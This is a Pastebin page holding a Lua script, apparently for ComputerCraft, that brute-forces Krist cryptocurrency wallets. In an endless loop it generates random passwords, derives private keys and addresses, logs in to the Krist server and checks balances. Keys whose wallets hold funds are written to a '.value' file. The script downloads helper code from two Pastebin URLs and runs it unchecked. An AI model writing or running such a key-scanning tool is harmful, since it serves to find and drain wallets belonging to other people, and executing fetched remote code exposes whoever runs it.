Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local args = {...}
- local function gen()
- local str = ""
- local k = math.random(1,10)
- while string.len(str) < k do
- local num = math.random(1,255)
- if num >= 48 and num <= 57 or num >= 65 and num <= 90 or num >= 97 and num <= 122 then
- str = str..string.char(num)
- end
- end
- return str
- end
- local function kgen(pass)
- local LocENV = {}
- local INP = ""
- setmetatable(LocENV,{__index=_G})
- local k = http.get("https://pastebin.com/raw/1aK1i8VK")
- local j = http.get("https://pastebin.com/raw/4nRg9CHU")
- load(j.readAll(),"JSON","t",LocENV)()
- load(k.readAll(),"KLUA","t",LocENV)()
- local str = ""
- if pass == nil then
- for i=1, 600000 do
- local n = math.random(1,255)
- INP = INP..string.char(n)
- print(string.char(n).." "..i)
- if i%10000 == 0 then
- sleep(0)
- file = fs.open("PASS","a")
- file.write(INP)
- file.close()
- INP = ""
- end
- end
- else
- INP = pass
- end
- local hp = LocENV.ToPriv(INP)
- local mkey = hp
- http.post("https://krist.ceriat.net/login","privatekey="..mkey)
- local addr = LocENV.makev2address(mkey)
- local info = LocENV.getInfo(addr)
- local tbl = LocENV.decode(info)
- local bal = ""
- for k,v in pairs(tbl) do
- if type(v) == "table" then
- for x,y in pairs(v) do
- if x == "balance" then
- bal = y
- end
- end
- end
- end
- return INP, addr, bal
- end
- local i = 0
- while true do
- i = i+1
- if i%500 == 0 then
- sleep(0)
- elseif i%100000 == 0 then
- fs.delete(".klog")
- end
- local pass, addr, bal = kgen(gen())
- if bal > 0 then
- lfile = ".value"
- elseif string.find(addr,args[1]) then
- lfile = ".vanity"
- else
- lfile = ".klog"
- end
- file = fs.open(lfile,"a")
- file.write(pass.."|"..addr.."|"..bal)
- file.close()
- print(pass.."|"..addr.."|"..bal)
- end
Advertisement
Add Comment
Please, Sign In to add comment